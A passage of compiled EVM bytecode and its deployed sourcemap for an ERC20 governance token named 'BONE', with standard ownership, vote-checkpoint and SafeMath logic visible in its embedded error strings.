fffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2d90612a48565b60405180910390fd5b81600654611c449190612d48565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a6000828254611c999190612d48565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cfe9190612bc8565b60405180910390a3505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d4c5750600081115b15611fba57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e85576000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611def576000611e5c565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611e3d9190612d7c565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611e738483611fbf90919063ffffffff16565b9050611e8186848484612018565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611fb9576000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611f23576000611f90565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611f719190612d7c565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611fa7848361138090919063ffffffff16565b9050611fb585848484612018565b5050505b5b505050565b600082821115612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb90612ae8565b60405180910390fd5b81836120109190612d48565b905092915050565b600061203c43604051806060016040528060348152602001612fac6034913961231b565b905060008463ffffffff161180156120da57508063ffffffff16600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876120a49190612d7c565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156121545781600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761212e9190612d7c565b63ffffffff1663ffffffff168152602001908152602001600020600101819055506122c4565b60405180604001604052808263ffffffff16815260200183815250600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff166001856122139190612cdd565b63ffffffff1611612259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225090612b08565b60405180910390fd5b6001846122669190612cdd565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161230c929190612be3565b60405180910390a25050505050565b600064010000000083108290612367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235e9190612a06565b60405180910390fd5b5082905092915050565b60008135905061238081612f18565b92915050565b60008135905061239581612f2f565b92915050565b6000813590506123aa81612f46565b92915050565b6000602082840312156123c257600080fd5b60006123d084828501612371565b91505092915050565b600080604083850312156123ec57600080fd5b60006123fa85828601612371565b925050602061240b85828601612371565b9150509250929050565b60008060006060848603121561242a57600080fd5b600061243886828701612371565b935050602061244986828701612371565b925050604061245a86828701612386565b9150509250925092565b6000806040838503121561247757600080fd5b600061248585828601612371565b925050602061249685828601612386565b9150509250929050565b600080604083850312156124b357600080fd5b60006124c185828601612371565b92505060206124d28582860161239b565b9150509250929050565b6124e581612db0565b82525050565b6124f481612dc2565b82525050565b600061250582612c6b565b61250f8185612c76565b935061251f818560208601612e15565b61252881612f07565b840191505092915050565b6000612540602383612c76565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125a6602283612c76565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061260c602783612c76565b91507f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612672602683612c76565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006126d8602283612c76565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061273e601b83612c76565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b600061277e601e83612c76565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b60006127be603683612c76565b91507f424f4e453a3a5f7772697465436865636b706f696e743a206e6577206368656360008301527f6b706f696e7420657863656564732033322062697473000000000000000000006020830152604082019050919050565b6000612824602083612c76565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000612864602183612c76565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006128ca602583612c76565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612930600083612c76565b9150600082019050919050565b600061294a602483612c76565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6129ac81612dee565b82525050565b6129bb81612df8565b82525050565b6129ca81612e08565b82525050565b60006020820190506129e560008301846124dc565b92915050565b6000602082019050612a0060008301846124eb565b92915050565b60006020820190508181036000830152612a2081846124fa565b905092915050565b60006020820190508181036000830152612a4181612533565b9050919050565b60006020820190508181036000830152612a6181612599565b9050919050565b60006020820190508181036000830152612a81816125ff565b9050919050565b60006020820190508181036000830152612aa181612665565b9050919050565b60006020820190508181036000830152612ac1816126cb565b9050919050565b60006020820190508181036000830152612ae181612731565b9050919050565b60006020820190508181036000830152612b0181612771565b9050919050565b60006020820190508181036000830152612b21816127b1565b9050919050565b60006020820190508181036000830152612b4181612817565b9050919050565b60006020820190508181036000830152612b6181612857565b9050919050565b60006020820190508181036000830152612b81816128bd565b9050919050565b60006020820190508181036000830152612ba181612923565b9050919050565b60006020820190508181036000830152612bc18161293d565b9050919050565b6000602082019050612bdd60008301846129a3565b92915050565b6000604082019050612bf860008301856129a3565b612c0560208301846129a3565b9392505050565b6000602082019050612c2160008301846129b2565b92915050565b6000604082019050612c3c60008301856129b2565b612c4960208301846129a3565b9392505050565b6000602082019050612c6560008301846129c1565b92915050565b600081519050919050565b600082825260208201905092915050565b6000612c9282612dee565b9150612c9d83612dee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612cd257612cd1612e7a565b5b828201905092915050565b6000612ce882612df8565b9150612cf383612df8565b92508263ffffffff03821115612d0c57612d0b612e7a565b5b828201905092915050565b6000612d2282612df8565b9150612d2d83612df8565b925082612d3d57612d3c612ea9565b5b828204905092915050565b6000612d5382612dee565b9150612d5e83612dee565b925082821015612d7157612d70612e7a565b5b828203905092915050565b6000612d8782612df8565b9150612d9283612df8565b925082821015612da557612da4612e7a565b5b828203905092915050565b6000612dbb82612dce565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60005b83811015612e33578082015181840152602081019050612e18565b83811115612e42576000848401525b50505050565b60006002820490506001821680612e6057607f821691505b60208210811415612e7457612e73612ed8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b612f2181612db0565b8114612f2c57600080fd5b50565b612f3881612dee565b8114612f4357600080fd5b50565b612f4f81612df8565b8114612f5a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365424f4e453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122072bc5325971d48b70591783d3b491bad9efb2adc8e10213a86414fd0fe78ba0664736f6c63430008000033

Deployed Bytecode Sourcemap

15740:6429:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9855:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11013:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9739:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12429:321;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10057:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11360:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17431:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10404:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17179:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16288:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10156:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18424:1212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15921:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9954:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17886:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10523:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11756:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12087:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19837:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10801:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16149:70;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;8492:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9855:91;9900:13;9933:5;9926:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9855:91;:::o;11013:169::-;11096:4;11113:39;11122:12;:10;:12::i;:::-;11136:7;11145:6;11113:8;:39::i;:::-;11170:4;11163:11;;11013:169;;;;:::o;9739:108::-;9800:7;9827:12;;9820:19;;9739:108;:::o;12429:321::-;12535:4;12552:36;12562:6;12570:9;12581:6;12552:9;:36::i;:::-;12599:121;12608:6;12616:12;:10;:12::i;:::-;12630:89;12668:6;12630:89;;;;;;;;;;;;;;;;;:11;:19;12642:6;12630:19;;;;;;;;;;;;;;;:33;12650:12;:10;:12::i;:::-;12630:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;12599:8;:121::i;:::-;12738:4;12731:11;;12429:321;;;;;:::o;10057:91::-;10106:5;10131:9;;;;;;;;;;;10124:16;;10057:91;:::o;11360:218::-;11448:4;11465:83;11474:12;:10;:12::i;:::-;11488:7;11497:50;11536:10;11497:11;:25;11509:12;:10;:12::i;:::-;11497:25;;;;;;;;;;;;;;;:34;11523:7;11497:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11465:8;:83::i;:::-;11566:4;11559:11;;11360:218;;;;:::o;17431:117::-;17492:7;17519:10;:21;17530:9;17519:21;;;;;;;;;;;;;;;;;;;;;;;;;17512:28;;17431:117;;;:::o;10404:111::-;10463:4;10487:9;:20;10497:9;10487:20;;;;;;;;;;;;;;;;;;;;;;;;;10480:27;;10404:111;;;:::o;17179:104::-;17243:32;17253:10;17265:9;17243;:32::i;:::-;17179:104;:::o;16288:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;10156:127::-;10230:7;10257:9;:18;10267:7;10257:18;;;;;;;;;;;;;;;;10250:25;;10156:127;;;:::o;18424:1212::-;18505:7;18546:12;18532:11;:26;18524:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;18613:19;18635:14;:23;18650:7;18635:23;;;;;;;;;;;;;;;;;;;;;;;;;18613:45;;18689:1;18673:12;:17;;;18669:58;;;18714:1;18707:8;;;;;18669:58;18837:11;18785;:20;18797:7;18785:20;;;;;;;;;;;;;;;:38;18821:1;18806:12;:16;;;;:::i;:::-;18785:38;;;;;;;;;;;;;;;:48;;;;;;;;;;;;:63;;;18781:147;;18872:11;:20;18884:7;18872:20;;;;;;;;;;;;;;;:38;18908:1;18893:12;:16;;;;:::i;:::-;18872:38;;;;;;;;;;;;;;;:44;;;18865:51;;;;;18781:147;19023:11;18987;:20;18999:7;18987:20;;;;;;;;;;;;;;;:23;19008:1;18987:23;;;;;;;;;;;;;:33;;;;;;;;;;;;:47;;;18983:88;;;19058:1;19051:8;;;;;18983:88;19081:12;19108;19138:1;19123:12;:16;;;;:::i;:::-;19108:31;;19150:428;19165:5;19157:13;;:5;:13;;;19150:428;;;19187:13;19229:1;19220:5;19212;:13;;;;:::i;:::-;19211:19;;;;:::i;:::-;19203:5;:27;;;;:::i;:::-;19187:43;;19272:20;19295:11;:20;19307:7;19295:20;;;;;;;;;;;;;;;:28;19316:6;19295:28;;;;;;;;;;;;;;;19272:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19358:11;19342:2;:12;;;:27;;;19338:229;;;19397:2;:8;;;19390:15;;;;;;;;;19338:229;19446:11;19431:2;:12;;;:26;;;19427:140;;;19486:6;19478:14;;19427:140;;;19550:1;19541:6;:10;;;;:::i;:::-;19533:18;;19427:140;19150:428;;;;;19595:11;:20;19607:7;19595:20;;;;;;;;;;;;;;;:27;19616:5;19595:27;;;;;;;;;;;;;;;:33;;;19588:40;;;;;18424:1212;;;;;:::o;15921:39::-;;;;;;;;;;;;;;;;;:::o;9954:95::-;10001:13;10034:7;10027:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9954:95;:::o;17886:107::-;8098:12;:10;:12::i;:::-;8087:23;;:7;:5;:7::i;:::-;:23;;;8079:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17963:22:::1;17969:7;17978:6;17963:5;:22::i;:::-;17886:107:::0;;:::o;10523:105::-;8098:12;:10;:12::i;:::-;8087:23;;:7;:5;:7::i;:::-;:23;;;8079:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10616:4:::1;10593:9;:20;10603:9;10593:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;10523:105:::0;:::o;10291:::-;8098:12;:10;:12::i;:::-;8087:23;;:7;:5;:7::i;:::-;:23;;;8079:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10383:5:::1;10360:9;:20;10370:9;10360:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;10291:105:::0;:::o;11756:269::-;11849:4;11866:129;11875:12;:10;:12::i;:::-;11889:7;11898:96;11937:15;11898:96;;;;;;;;;;;;;;;;;:11;:25;11910:12;:10;:12::i;:::-;11898:25;;;;;;;;;;;;;;;:34;11924:7;11898:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11866:8;:129::i;:::-;12013:4;12006:11;;11756:269;;;;:::o;12087:175::-;12173:4;12190:42;12200:12;:10;:12::i;:::-;12214:9;12225:6;12190:9;:42::i;:::-;12250:4;12243:11;;12087:175;;;;:::o;19837:222::-;19902:7;19921:19;19943:14;:23;19958:7;19943:23;;;;;;;;;;;;;;;;;;;;;;;;;19921:45;;19999:1;19984:12;:16;;;:67;;20050:1;19984:67;;;20003:11;:20;20015:7;20003:20;;;;;;;;;;;;;;;:38;20039:1;20024:12;:16;;;;:::i;:::-;20003:38;;;;;;;;;;;;;;;:44;;;19984:67;19977:74;;;19837:222;;;:::o;10801:151::-;10890:7;10917:11;:18;10929:5;10917:18;;;;;;;;;;;;;;;:27;10936:7;10917:27;;;;;;;;;;;;;;;;10910:34;;10801:151;;;;:::o;16149:70::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8492:244::-;8098:12;:10;:12::i;:::-;8087:23;;:7;:5;:7::i;:::-;:23;;;8079:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8601:1:::1;8581:22;;:8;:22;;;;8573:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;8691:8;8662:38;;8683:6;::::0;::::1;;;;;;;;8662:38;;;;;;;;;;;;8720:8;8711:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;8492:244:::0;:::o;1912:179::-;1970:7;1990:9;2006:1;2002;:5;;;;:::i;:::-;1990:17;;2031:1;2026;:6;;2018:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2082:1;2075:8;;;1912:179;;;;:::o;7054:98::-;7107:7;7134:10;7127:17;;7054:98;:::o;14828:346::-;14947:1;14930:19;;:5;:19;;;;14922:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15028:1;15009:21;;:7;:21;;;;15001:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15112:6;15082:11;:18;15094:5;15082:18;;;;;;;;;;;;;;;:27;15101:7;15082:27;;;;;;;;;;;;;;;:36;;;;15150:7;15134:32;;15143:5;15134:32;;;15159:6;15134:32;;;;;;:::i;:::-;;;;;;;;14828:346;;;:::o;12875:635::-;12977:9;:20;12987:9;12977:20;;;;;;;;;;;;;;;;;;;;;;;;;:41;;;;13001:9;:17;13011:6;13001:17;;;;;;;;;;;;;;;;;;;;;;;;;12977:41;12973:77;;;13041:4;13028:17;;:9;;;;;;;;;;;:17;;;13020:30;;;;;;;;;;;;:::i;:::-;;;;;;;;;12973:77;13087:1;13069:20;;:6;:20;;;;13061:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13171:1;13150:23;;:9;:23;;;;13142:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13234:47;13255:6;13263:9;13274:6;13234:20;:47::i;:::-;13314:71;13336:6;13314:71;;;;;;;;;;;;;;;;;:9;:17;13324:6;13314:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;13294:9;:17;13304:6;13294:17;;;;;;;;;;;;;;;:91;;;;13419:32;13444:6;13419:9;:20;13429:9;13419:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;13396:9;:20;13406:9;13396:20;;;;;;;;;;;;;;;:55;;;;13484:9;13467:35;;13476:6;13467:35;;;13495:6;13467:35;;;;;;:::i;:::-;;;;;;;;12875:635;;;:::o;3354:166::-;3440:7;3473:1;3468;:6;;3476:12;3460:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3511:1;3507;:5;;;;:::i;:::-;3500:12;;3354:166;;;;;:::o;20067:376::-;20144:23;20170:10;:21;20181:9;20170:21;;;;;;;;;;;;;;;;;;;;;;;;;20144:47;;20202:24;20229:20;20239:9;20229;:20::i;:::-;20202:47;;20285:9;20261:10;:21;20272:9;20261:21;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;20354:9;20310:54;;20337:15;20310:54;;20326:9;20310:54;;;;;;;;;;;;20375:60;20390:15;20407:9;20418:16;20375:14;:60::i;:::-;20067:376;;;;:::o;8248:89::-;8296:7;8323:6;;;;;;;;;;;8316:13;;8248:89;:::o;13686:434::-;13789:1;13770:21;;:7;:21;;;;13762:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13846:22;13871:9;:18;13881:7;13871:18;;;;;;;;;;;;;;;;13846:43;;13926:6;13908:14;:24;;13900:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14020:6;14009:8;;:17;;;;:::i;:::-;13988:9;:18;13998:7;13988:18;;;;;;;;;;;;;;;:38;;;;14053:6;14037:12;;:22;;;;;;;:::i;:::-;;;;;;;;14101:1;14075:37;;14084:7;14075:37;;;14105:6;14075:37;;;;;;:::i;:::-;;;;;;;;13686:434;;;:::o;15641:92::-;;;;:::o;21219:947::-;21325:6;21315:16;;:6;:16;;;;:30;;;;;21344:1;21335:6;:10;21315:30;21311:848;;;21384:1;21366:20;;:6;:20;;;21362:385;;21455:16;21474:14;:22;21489:6;21474:22;;;;;;;;;;;;;;;;;;;;;;;;;21455:41;;21515:17;21547:1;21535:9;:13;;;:60;;21594:1;21535:60;;;21551:11;:19;21563:6;21551:19;;;;;;;;;;;;;;;:34;21583:1;21571:9;:13;;;;:::i;:::-;21551:34;;;;;;;;;;;;;;;:40;;;21535:60;21515:80;;21614:17;21634:21;21648:6;21634:9;:13;;:21;;;;:::i;:::-;21614:41;;21674:57;21691:6;21699:9;21710;21721;21674:16;:57::i;:::-;21362:385;;;;21785:1;21767:20;;:6;:20;;;21763:385;;21856:16;21875:14;:22;21890:6;21875:22;;;;;;;;;;;;;;;;;;;;;;;;;21856:41;;21916:17;21948:1;21936:9;:13;;;:60;;21995:1;21936:60;;;21952:11;:19;21964:6;21952:19;;;;;;;;;;;;;;;:34;21984:1;21972:9;:13;;;;:::i;:::-;21952:34;;;;;;;;;;;;;;;:40;;;21936:60;21916:80;;22015:17;22035:21;22049:6;22035:9;:13;;:21;;;;:::i;:::-;22015:41;;22075:57;22092:6;22100:9;22111;22122;22075:16;:57::i;:::-;21763:385;;;;21311:848;21219:947;;;:::o;2603:158::-;2661:7;2694:1;2689;:6;;2681:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;2752:1;2748;:5;;;;:::i;:::-;2741:12;;2603:158;;;;:::o;20451:760::-;20573:18;20594:76;20601:12;20594:76;;;;;;;;;;;;;;;;;:6;:76::i;:::-;20573:97;;20702:1;20687:12;:16;;;:85;;;;;20761:11;20707:65;;:11;:22;20719:9;20707:22;;;;;;;;;;;;;;;:40;20745:1;20730:12;:16;;;;:::i;:::-;20707:40;;;;;;;;;;;;;;;:50;;;;;;;;;;;;:65;;;20687:85;20683:452;;;20838:8;20789:11;:22;20801:9;20789:22;;;;;;;;;;;;;;;:40;20827:1;20812:12;:16;;;;:::i;:::-;20789:40;;;;;;;;;;;;;;;:46;;:57;;;;20683:452;;;20918:33;;;;;;;;20929:11;20918:33;;;;;;20942:8;20918:33;;;20879:11;:22;20891:9;20879:22;;;;;;;;;;;;;;;:36;20902:12;20879:36;;;;;;;;;;;;;;;:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20993:12;20974:31;;20989:1;20974:12;:16;;;;:::i;:::-;:31;;;20966:98;;;;;;;;;;;;:::i;:::-;;;;;;;;;21122:1;21107:12;:16;;;;:::i;:::-;21079:14;:25;21094:9;21079:25;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;20683:452;21173:9;21152:51;;;21184:8;21194;21152:51;;;;;;;:::i;:::-;;;;;;;;20451:760;;;;;:::o;17556:161::-;17631:6;17662:5;17658:1;:9;17669:12;17650:32;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;17707:1;17693:16;;17556:161;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:137::-;;380:6;367:20;358:29;;396:32;422:5;396:32;:::i;:::-;348:86;;;;:::o;440:262::-;;548:2;536:9;527:7;523:23;519:32;516:2;;;564:1;561;554:12;516:2;607:1;632:53;677:7;668:6;657:9;653:22;632:53;:::i;:::-;622:63;;578:117;506:196;;;;:::o;708:407::-;;;833:2;821:9;812:7;808:23;804:32;801:2;;;849:1;846;839:12;801:2;892:1;917:53;962:7;953:6;942:9;938:22;917:53;:::i;:::-;907:63;;863:117;1019:2;1045:53;1090:7;1081:6;1070:9;1066:22;1045:53;:::i;:::-;1035:63;;990:118;791:324;;;;;:::o;1121:552::-;;;;1263:2;1251:9;1242:7;1238:23;1234:32;1231:2;;;1279:1;1276;1269:12;1231:2;1322:1;1347:53;1392:7;1383:6;1372:9;1368:22;1347:53;:::i;:::-;1337:63;;1293:117;1449:2;1475:53;1520:7;1511:6;1500:9;1496:22;1475:53;:::i;:::-;1465:63;;1420:118;1577:2;1603:53;1648:7;1639:6;1628:9;1624:22;1603:53;:::i;:::-;1593:63;;1548:118;1221:452;;;;;:::o;1679:407::-;;;1804:2;1792:9;1783:7;1779:23;1775:32;1772:2;;;1820:1;1817;1810:12;1772:2;1863:1;1888:53;1933:7;1924:6;1913:9;1909:22;1888:53;:::i;:::-;1878:63;;1834:117;1990:2;2016:53;2061:7;2052:6;2041:9;2037:22;2016:53;:::i;:::-;2006:63;;1961:118;1762:324;;;;;:::o;2092:405::-;;;2216:2;2204:9;2195:7;2191:23;2187:32;2184:2;;;2232:1;2229;2222:12;2184:2;2275:1;2300:53;2345:7;2336:6;2325:9;2321:22;2300:53;:::i;:::-;2290:63;;2246:117;2402:2;2428:52;2472:7;2463:6;2452:9;2448:22;2428:52;:::i;:::-;2418:62;;2373:117;2174:323;;;;;:::o;2503:118::-;2590:24;2608:5;2590:24;:::i;:::-;2585:3;2578:37;2568:53;;:::o;2627:109::-;2708:21;2723:5;2708:21;:::i;:::-;2703:3;2696:34;2686:50;;:::o;2742:364::-;;2858:39;2891:5;2858:39;:::i;:::-;2913:71;2977:6;2972:3;2913:71;:::i;:::-;2906:78;;2993:52;3038:6;3033:3;3026:4;3019:5;3015:16;2993:52;:::i;:::-;3070:29;3092:6;3070:29;:::i;:::-;3065:3;3061:39;3054:46;;2834:272;;;;;:::o;3112:367::-;;3275:67;3339:2;3334:3;3275:67;:::i;:::-;3268:74;;3372:34;3368:1;3363:3;3359:11;3352:55;3438:5;3433:2;3428:3;3424:12;3417:27;3470:2;3465:3;3461:12;3454:19;;3258:221;;;:::o;3485:366::-;;3648:67;3712:2;3707:3;3648:67;:::i;:::-;3641:74;;3745:34;3741:1;3736:3;3732:11;3725:55;3811:4;3806:2;3801:3;3797:12;3790:26;3842:2;3837:3;3833:12;3826:19;;3631:220;;;:::o;3857:371::-;;4020:67;4084:2;4079:3;4020:67;:::i;:::-;4013:74;;4117:34;4113:1;4108:3;4104:11;4097:55;4183:9;4178:2;4173:3;4169:12;4162:31;4219:2;4214:3;4210:12;4203:19;;4003:225;;;:::o;4234:370::-;;4397:67;4461:2;4456:3;4397:67;:::i;:::-;4390:74;;4494:34;4490:1;4485:3;4481:11;4474:55;4560:8;4555:2;4550:3;4546:12;4539:30;4595:2;4590:3;4586:12;4579:19;;4380:224;;;:::o;4610:366::-;;4773:67;4837:2;4832:3;4773:67;:::i;:::-;4766:74;;4870:34;4866:1;4861:3;4857:11;4850:55;4936:4;4931:2;4926:3;4922:12;4915:26;4967:2;4962:3;4958:12;4951:19;;4756:220;;;:::o;4982:325::-;;5145:67;5209:2;5204:3;5145:67;:::i;:::-;5138:74;;5242:29;5238:1;5233:3;5229:11;5222:50;5298:2;5293:3;5289:12;5282:19;;5128:179;;;:::o;5313:328::-;;5476:67;5540:2;5535:3;5476:67;:::i;:::-;5469:74;;5573:32;5569:1;5564:3;5560:11;5553:53;5632:2;5627:3;5623:12;5616:19;;5459:182;;;:::o;5647:386::-;;5810:67;5874:2;5869:3;5810:67;:::i;:::-;5803:74;;5907:34;5903:1;5898:3;5894:11;5887:55;5973:24;5968:2;5963:3;5959:12;5952:46;6024:2;6019:3;6015:12;6008:19;;5793:240;;;:::o;6039:330::-;;6202:67;6266:2;6261:3;6202:67;:::i;:::-;6195:74;;6299:34;6295:1;6290:3;6286:11;6279:55;6360:2;6355:3;6351:12;6344:19;;6185:184;;;:::o;6375:365::-;;6538:67;6602:2;6597:3;6538:67;:::i;:::-;6531:74;;6635:34;6631:1;6626:3;6622:11;6615:55;6701:3;6696:2;6691:3;6687:12;6680:25;6731:2;6726:3;6722:12;6715:19;;6521:219;;;:::o;6746:369::-;;6909:67;6973:2;6968:3;6909:67;:::i;:::-;6902:74;;7006:34;7002:1;6997:3;6993:11;6986:55;7072:7;7067:2;7062:3;7058:12;7051:29;7106:2;7101:3;7097:12;7090:19;;6892:223;;;:::o;7